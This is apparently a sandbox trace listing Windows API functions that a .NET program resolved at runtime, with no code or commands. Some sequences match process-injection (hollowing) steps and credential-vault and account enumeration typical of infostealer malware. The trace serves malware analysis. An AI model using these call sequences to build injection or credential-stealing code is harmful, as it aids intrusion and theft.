DynamicLoader: KERNEL32.dll/GetUserPreferredUILanguages
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: KERNEL32.dll/GetFullPathName
DynamicLoader: KERNEL32.dll/GetFullPathNameW
DynamicLoader: uxtheme.dll/IsAppThemed
DynamicLoader: uxtheme.dll/IsAppThemedW
DynamicLoader: KERNEL32.dll/CreateActCtx
DynamicLoader: KERNEL32.dll/CreateActCtxA
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: USER32.dll/RegisterWindowMessage
DynamicLoader: USER32.dll/RegisterWindowMessageW
DynamicLoader: ole32.dll/CoCreateGuid
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: MSCOREE.DLL/GetProcessExecutableHeap
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap_RetAddr
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap
DynamicLoader: KERNEL32.dll/CompareStringOrdinal
DynamicLoader: KERNEL32.dll/SetThreadErrorMode
DynamicLoader: KERNEL32.dll/GetFileAttributesEx
DynamicLoader: KERNEL32.dll/GetFileAttributesExW
DynamicLoader: KERNEL32.dll/ResolveLocaleName
DynamicLoader: gdiplus.dll/GdiplusStartup
DynamicLoader: KERNEL32.dll/IsProcessorFeaturePresent
DynamicLoader: USER32.dll/GetWindowInfo
DynamicLoader: USER32.dll/GetAncestor
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/EnumDisplayDevicesA
DynamicLoader: GDI32.dll/ExtTextOutW
DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
DynamicLoader: gdiplus.dll/GdipLoadImageFromStream
DynamicLoader: WindowsCodecs.dll/DllGetClassObject
DynamicLoader: gdiplus.dll/GdipImageForceValidation
DynamicLoader: gdiplus.dll/GdipGetImageType
DynamicLoader: gdiplus.dll/GdipGetImageRawFormat
DynamicLoader: gdiplus.dll/GdipGetImageWidth
DynamicLoader: gdiplus.dll/GdipGetImageHeight
DynamicLoader: gdiplus.dll/GdipBitmapGetPixel
DynamicLoader: nlssorting.dll/SortGetHandle
DynamicLoader: nlssorting.dll/SortCloseHandle
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/CreateProcess
DynamicLoader: KERNEL32.dll/CreateProcessW
DynamicLoader: KERNEL32.dll/GetThreadContext
DynamicLoader: KERNEL32.dll/ReadProcessMemory
DynamicLoader: KERNEL32.dll/VirtualAllocEx
DynamicLoader: KERNEL32.dll/WriteProcessMemory
DynamicLoader: KERNEL32.dll/SetThreadContext
DynamicLoader: KERNEL32.dll/ResumeThread
DynamicLoader: ole32.dll/CoWaitForMultipleHandles
DynamicLoader: ADVAPI32.dll/EventUnregister
DynamicLoader: sechost.dll/LookupAccountNameLocalW
DynamicLoader: gdiplus.dll/GdipDisposeImage
DynamicLoader: ADVAPI32.dll/LookupAccountSidW
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: ole32.dll/NdrOleInitializeExtension
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: ole32.dll/StringFromIID
DynamicLoader: ole32.dll/CoGetPSClsid
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ole32.dll/CoReleaseMarshalData
DynamicLoader: ole32.dll/DcomChannelSetHResult
DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
DynamicLoader: KERNEL32.dll/CreateActCtxW
DynamicLoader: KERNEL32.dll/AddRefActCtx
DynamicLoader: KERNEL32.dll/ReleaseActCtx
DynamicLoader: KERNEL32.dll/ActivateActCtx
DynamicLoader: KERNEL32.dll/DeactivateActCtx
DynamicLoader: KERNEL32.dll/GetCurrentActCtx
DynamicLoader: KERNEL32.dll/QueryActCtxW
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/EventUnregister
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: MSCOREE.DLL/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/_CorExeMain_RetAddr
DynamicLoader: mscoreei.dll/_CorExeMain
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
DynamicLoader: VERSION.dll/GetFileVersionInfoW
DynamicLoader: VERSION.dll/VerQueryValueW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: clr.dll/SetRuntimeInfo
DynamicLoader: USER32.dll/GetProcessWindowStation
DynamicLoader: USER32.dll/GetUserObjectInformationW
DynamicLoader: clr.dll/_CorExeMain
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: MSCOREE.DLL/CreateConfigStream
DynamicLoader: mscoreei.dll/CreateConfigStream_RetAddr
DynamicLoader: mscoreei.dll/CreateConfigStream
DynamicLoader: KERNEL32.dll/GetNumaHighestNodeNumber
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/GetSystemWindowsDirectoryW
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: KERNEL32.dll/AddSIDToBoundaryDescriptor
DynamicLoader: KERNEL32.dll/CreateBoundaryDescriptorW
DynamicLoader: KERNEL32.dll/CreatePrivateNamespaceW
DynamicLoader: KERNEL32.dll/OpenPrivateNamespaceW
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: KERNEL32.dll/DeleteBoundaryDescriptor
DynamicLoader: KERNEL32.dll/WerRegisterRuntimeExceptionModule
DynamicLoader: KERNEL32.dll/RaiseException
DynamicLoader: MSCOREE.DLL/
DynamicLoader: mscoreei.dll/
DynamicLoader: KERNELBASE.dll/SetSystemFileCacheSize
DynamicLoader: ntdll.dll/NtSetSystemInformation
DynamicLoader: KERNELBASE.dll/PrivIsDllSynchronizationHeld
DynamicLoader: KERNEL32.dll/AddDllDirectory
DynamicLoader: KERNEL32.dll/SortGetHandle
DynamicLoader: KERNEL32.dll/SortCloseHandle
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: clrjit.dll/sxsJitStartup
DynamicLoader: clrjit.dll/jitStartup
DynamicLoader: clrjit.dll/getJit
DynamicLoader: ole32.dll/CoGetContextToken
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/LocaleNameToLCID
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/LCIDToLocaleName
DynamicLoader: KERNEL32.dll/GetUserPreferredUILanguages
DynamicLoader: nlssorting.dll/SortGetHandle
DynamicLoader: nlssorting.dll/SortCloseHandle
DynamicLoader: ADVAPI32.dll/ConvertSidToStringSidW
DynamicLoader: shell32.dll/SHGetFolderPathW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: KERNEL32.dll/GetFullPathName
DynamicLoader: KERNEL32.dll/GetFullPathNameW
DynamicLoader: KERNEL32.dll/SetThreadErrorMode
DynamicLoader: KERNEL32.dll/GetFileAttributesEx
DynamicLoader: KERNEL32.dll/GetFileAttributesExW
DynamicLoader: MSCOREE.DLL/GetProcessExecutableHeap
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap_RetAddr
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap
DynamicLoader: bcrypt.dll/BCryptGetFipsAlgorithmMode
DynamicLoader: KERNEL32.dll/GetModuleHandle
DynamicLoader: KERNEL32.dll/GetModuleHandleW
DynamicLoader: KERNEL32.dll/GetProcAddress
DynamicLoader: KERNEL32.dll/WideCharToMultiByte
DynamicLoader: USER32.dll/DefWindowProcW
DynamicLoader: GDI32.dll/GetStockObject
DynamicLoader: USER32.dll/RegisterClass
DynamicLoader: USER32.dll/RegisterClassW
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: USER32.dll/CreateWindowEx
DynamicLoader: USER32.dll/CreateWindowExW
DynamicLoader: USER32.dll/SetWindowLong
DynamicLoader: USER32.dll/SetWindowLongW
DynamicLoader: USER32.dll/GetWindowLong
DynamicLoader: USER32.dll/GetWindowLongW
DynamicLoader: KERNEL32.dll/GetCurrentProcess
DynamicLoader: KERNEL32.dll/GetCurrentThread
DynamicLoader: KERNEL32.dll/DuplicateHandle
DynamicLoader: KERNEL32.dll/GetCurrentThreadId
DynamicLoader: ADVAPI32.dll/RegQueryValueEx
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: USER32.dll/SetWindowLong
DynamicLoader: USER32.dll/SetWindowLongW
DynamicLoader: USER32.dll/CallWindowProc
DynamicLoader: USER32.dll/CallWindowProcW
DynamicLoader: USER32.dll/RegisterWindowMessage
DynamicLoader: USER32.dll/RegisterWindowMessageW
DynamicLoader: KERNEL32.dll/GetCurrentProcessId
DynamicLoader: KERNEL32.dll/GetCurrentProcessIdW
DynamicLoader: ADVAPI32.dll/LookupPrivilegeValue
DynamicLoader: ADVAPI32.dll/LookupPrivilegeValueW
DynamicLoader: KERNEL32.dll/GetCurrentProcess
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
DynamicLoader: ADVAPI32.dll/AdjustTokenPrivileges
DynamicLoader: ADVAPI32.dll/AdjustTokenPrivilegesW
DynamicLoader: KERNEL32.dll/CloseHandle
DynamicLoader: ntdll.dll/NtQuerySystemInformation
DynamicLoader: ntdll.dll/NtQuerySystemInformationW
DynamicLoader: CRYPTSP.dll/CryptGetDefaultProviderW
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptCreateHash
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoGetObjectContext
DynamicLoader: sechost.dll/LookupAccountNameLocalW
DynamicLoader: ADVAPI32.dll/LookupAccountSidW
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: ole32.dll/NdrOleInitializeExtension
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: ole32.dll/StringFromIID
DynamicLoader: ole32.dll/CoGetPSClsid
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ole32.dll/CoReleaseMarshalData
DynamicLoader: ole32.dll/DcomChannelSetHResult
DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
DynamicLoader: ole32.dll/MkParseDisplayName
DynamicLoader: KERNEL32.dll/GetThreadPreferredUILanguages
DynamicLoader: KERNEL32.dll/SetThreadPreferredUILanguages
DynamicLoader: KERNEL32.dll/LocaleNameToLCID
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/LCIDToLocaleName
DynamicLoader: KERNEL32.dll/GetSystemDefaultLocaleName
DynamicLoader: fastprox.dll/DllGetClassObject
DynamicLoader: fastprox.dll/DllCanUnloadNow
DynamicLoader: ole32.dll/BindMoniker
DynamicLoader: SXS.DLL/SxsOleAut32RedirectTypeLibrary
DynamicLoader: ADVAPI32.dll/RegOpenKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: ADVAPI32.dll/RegQueryValueW
DynamicLoader: SXS.DLL/SxsOleAut32MapConfiguredClsidToReferenceClsid
DynamicLoader: SXS.DLL/SxsLookupClrGuid
DynamicLoader: KERNEL32.dll/ReleaseActCtx
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: mscoreei.dll/_CorDllMain_RetAddr
DynamicLoader: mscoreei.dll/_CorDllMain
DynamicLoader: MSCOREE.DLL/GetTokenForVTableEntry
DynamicLoader: MSCOREE.DLL/SetTargetForVTableEntry
DynamicLoader: MSCOREE.DLL/GetTargetForVTableEntry
DynamicLoader: mscoreei.dll/GetTokenForVTableEntry_RetAddr
DynamicLoader: mscoreei.dll/GetTokenForVTableEntry
DynamicLoader: mscoreei.dll/SetTargetForVTableEntry_RetAddr
DynamicLoader: mscoreei.dll/SetTargetForVTableEntry
DynamicLoader: mscoreei.dll/GetTargetForVTableEntry_RetAddr
DynamicLoader: mscoreei.dll/GetTargetForVTableEntry
DynamicLoader: KERNEL32.dll/GetLastError
DynamicLoader: KERNEL32.dll/LocalAlloc
DynamicLoader: KERNEL32.dll/CreateEvent
DynamicLoader: KERNEL32.dll/CreateEventW
DynamicLoader: KERNEL32.dll/CloseHandle
DynamicLoader: KERNEL32.dll/SetEvent
DynamicLoader: ole32.dll/CoWaitForMultipleHandles
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: ole32.dll/IIDFromString
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: KERNEL32.dll/LoadLibrary
DynamicLoader: KERNEL32.dll/LoadLibraryA
DynamicLoader: KERNEL32.dll/GetProcAddress
DynamicLoader: wminet_utils.dll/ResetSecurity
DynamicLoader: wminet_utils.dll/SetSecurity
DynamicLoader: wminet_utils.dll/BlessIWbemServices
DynamicLoader: wminet_utils.dll/BlessIWbemServicesObject
DynamicLoader: wminet_utils.dll/GetPropertyHandle
DynamicLoader: wminet_utils.dll/WritePropertyValue
DynamicLoader: wminet_utils.dll/Clone
DynamicLoader: wminet_utils.dll/VerifyClientKey
DynamicLoader: wminet_utils.dll/GetQualifierSet
DynamicLoader: wminet_utils.dll/Get
DynamicLoader: wminet_utils.dll/Put
DynamicLoader: wminet_utils.dll/Delete
DynamicLoader: wminet_utils.dll/GetNames
DynamicLoader: wminet_utils.dll/BeginEnumeration
DynamicLoader: wminet_utils.dll/Next
DynamicLoader: wminet_utils.dll/EndEnumeration
DynamicLoader: wminet_utils.dll/GetPropertyQualifierSet
DynamicLoader: wminet_utils.dll/Clone
DynamicLoader: wminet_utils.dll/GetObjectText
DynamicLoader: wminet_utils.dll/SpawnDerivedClass
DynamicLoader: wminet_utils.dll/SpawnInstance
DynamicLoader: wminet_utils.dll/CompareTo
DynamicLoader: wminet_utils.dll/GetPropertyOrigin
DynamicLoader: wminet_utils.dll/InheritsFrom
DynamicLoader: wminet_utils.dll/GetMethod
DynamicLoader: wminet_utils.dll/PutMethod
DynamicLoader: wminet_utils.dll/DeleteMethod
DynamicLoader: wminet_utils.dll/BeginMethodEnumeration
DynamicLoader: wminet_utils.dll/NextMethod
DynamicLoader: wminet_utils.dll/EndMethodEnumeration
DynamicLoader: wminet_utils.dll/GetMethodQualifierSet
DynamicLoader: wminet_utils.dll/GetMethodOrigin
DynamicLoader: wminet_utils.dll/QualifierSet_Get
DynamicLoader: wminet_utils.dll/QualifierSet_Put
DynamicLoader: wminet_utils.dll/QualifierSet_Delete
DynamicLoader: wminet_utils.dll/QualifierSet_GetNames
DynamicLoader: wminet_utils.dll/QualifierSet_BeginEnumeration
DynamicLoader: wminet_utils.dll/QualifierSet_Next
DynamicLoader: wminet_utils.dll/QualifierSet_EndEnumeration
DynamicLoader: wminet_utils.dll/GetCurrentApartmentType
DynamicLoader: wminet_utils.dll/GetDemultiplexedStub
DynamicLoader: wminet_utils.dll/CreateInstanceEnumWmi
DynamicLoader: wminet_utils.dll/CreateClassEnumWmi
DynamicLoader: wminet_utils.dll/ExecQueryWmi
DynamicLoader: wminet_utils.dll/ExecNotificationQueryWmi
DynamicLoader: wminet_utils.dll/PutInstanceWmi
DynamicLoader: wminet_utils.dll/PutClassWmi
DynamicLoader: wminet_utils.dll/CloneEnumWbemClassObject
DynamicLoader: wminet_utils.dll/ConnectServerWmi
DynamicLoader: wminet_utils.dll/GetErrorInfo
DynamicLoader: wminet_utils.dll/Initialize
DynamicLoader: OLEAUT32.dll/SysStringLen
DynamicLoader: KERNEL32.dll/RtlZeroMemory
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: KERNEL32.dll/RegOpenKeyExW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: CRYPTSP.dll/CryptHashData
DynamicLoader: CRYPTSP.dll/CryptGetHashParam
DynamicLoader: CRYPTSP.dll/CryptDestroyHash
DynamicLoader: KERNEL32.dll/GetEnvironmentVariable
DynamicLoader: KERNEL32.dll/GetEnvironmentVariableW
DynamicLoader: ADVAPI32.dll/GetUserName
DynamicLoader: ADVAPI32.dll/GetUserNameW
DynamicLoader: KERNEL32.dll/GetComputerName
DynamicLoader: KERNEL32.dll/GetComputerNameW
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ntdll.dll/NtQueryInformationThread
DynamicLoader: ntdll.dll/NtQuerySystemInformation
DynamicLoader: KERNEL32.dll/CreateWaitableTimerExW
DynamicLoader: KERNEL32.dll/SetWaitableTimerEx
DynamicLoader: OLEAUT32.dll/
DynamicLoader: shell32.dll/SHGetFolderPath
DynamicLoader: shell32.dll/SHGetFolderPathW
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: CRYPTSP.dll/CryptImportKey
DynamicLoader: CRYPTSP.dll/CryptExportKey
DynamicLoader: CRYPTSP.dll/CryptDestroyKey
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: KERNEL32.dll/FindFirstFile
DynamicLoader: KERNEL32.dll/FindFirstFileW
DynamicLoader: KERNEL32.dll/FindClose
DynamicLoader: KERNEL32.dll/CreateFile
DynamicLoader: KERNEL32.dll/CreateFileW
DynamicLoader: ole32.dll/CLSIDFromProgIDEx
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: KERNEL32.dll/FindNextFile
DynamicLoader: KERNEL32.dll/FindNextFileW
DynamicLoader: KERNEL32.dll/GetFileType
DynamicLoader: KERNEL32.dll/GetFileSize
DynamicLoader: KERNEL32.dll/ReadFile
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: KERNEL32.dll/GetACP
DynamicLoader: KERNEL32.dll/UnmapViewOfFile
DynamicLoader: vaultcli.dll/VaultEnumerateVaults
DynamicLoader: KERNEL32.dll/GetSystemTimeAsFileTime
DynamicLoader: ntdll.dll/NtQuerySystemInformation
DynamicLoader: KERNEL32.dll/GetDynamicTimeZoneInformation
DynamicLoader: ADVAPI32.dll/RegQueryValueEx
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: KERNEL32.dll/GetFileMUIPath
DynamicLoader: KERNEL32.dll/LoadLibraryEx
DynamicLoader: KERNEL32.dll/LoadLibraryExW
DynamicLoader: KERNEL32.dll/FreeLibrary
DynamicLoader: KERNEL32.dll/FreeLibraryW
DynamicLoader: USER32.dll/LoadStringW
DynamicLoader: USER32.dll/GetLastInputInfo
DynamicLoader: KERNEL32.dll/SetFilePointer
DynamicLoader: KERNEL32.dll/WriteFile
DynamicLoader: KERNEL32.dll/CloseHandle
DynamicLoader: KERNEL32.dll/GetStartupInfo
DynamicLoader: KERNEL32.dll/GetStartupInfoW
DynamicLoader: KERNEL32.dll/CreateProcess
DynamicLoader: KERNEL32.dll/CreateProcessW
DynamicLoader: USER32.dll/WaitForInputIdle
DynamicLoader: USER32.dll/WaitForInputIdleW
DynamicLoader: KERNEL32.dll/CompareStringOrdinal
DynamicLoader: KERNEL32.dll/GetCurrentProcess
DynamicLoader: KERNEL32.dll/GetCurrentProcessW
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
DynamicLoader: KERNEL32.dll/GetFileAttributesEx
DynamicLoader: KERNEL32.dll/GetFileAttributesExW
DynamicLoader: USER32.dll/GetSystemMetrics
DynamicLoader: KERNEL32.dll/AddDllDirectory
DynamicLoader: KERNEL32.dll/LoadLibraryEx
DynamicLoader: KERNEL32.dll/LoadLibraryExW
DynamicLoader: USER32.dll/GetClientRect
DynamicLoader: USER32.dll/GetWindowRect
DynamicLoader: USER32.dll/GetParent
DynamicLoader: ole32.dll/OleInitialize
DynamicLoader: ole32.dll/CoRegisterMessageFilter
DynamicLoader: USER32.dll/PeekMessage
DynamicLoader: USER32.dll/PeekMessageW
DynamicLoader: USER32.dll/WaitMessage
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: ole32.dll/StringFromIID
DynamicLoader: ole32.dll/CoGetPSClsid
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ole32.dll/CoReleaseMarshalData
DynamicLoader: ole32.dll/DcomChannelSetHResult
DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
DynamicLoader: VSSAPI.DLL/CreateWriter
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ADVAPI32.dll/LookupAccountNameW
DynamicLoader: sechost.dll/LookupAccountNameLocalW
DynamicLoader: ADVAPI32.dll/LookupAccountSidW
DynamicLoader: samcli.dll/NetLocalGroupGetMembers
DynamicLoader: SAMLIB.dll/SamConnect
DynamicLoader: RPCRT4.dll/NdrClientCall2
DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
DynamicLoader: RPCRT4.dll/RpcStringFreeW
DynamicLoader: RPCRT4.dll/RpcBindingFree
DynamicLoader: SAMLIB.dll/SamOpenDomain
DynamicLoader: SAMLIB.dll/SamLookupNamesInDomain
DynamicLoader: SAMLIB.dll/SamOpenAlias
DynamicLoader: SAMLIB.dll/SamFreeMemory
DynamicLoader: SAMLIB.dll/SamCloseHandle
DynamicLoader: SAMLIB.dll/SamGetMembersInAlias
DynamicLoader: netutils.dll/NetApiBufferFree
DynamicLoader: ole32.dll/CoCreateGuid
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ole32.dll/StringFromCLSID
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyW
DynamicLoader: PROPSYS.dll/VariantToPropVariant
DynamicLoader: OLEAUT32.dll/
DynamicLoader: wbemcore.dll/Reinitialize
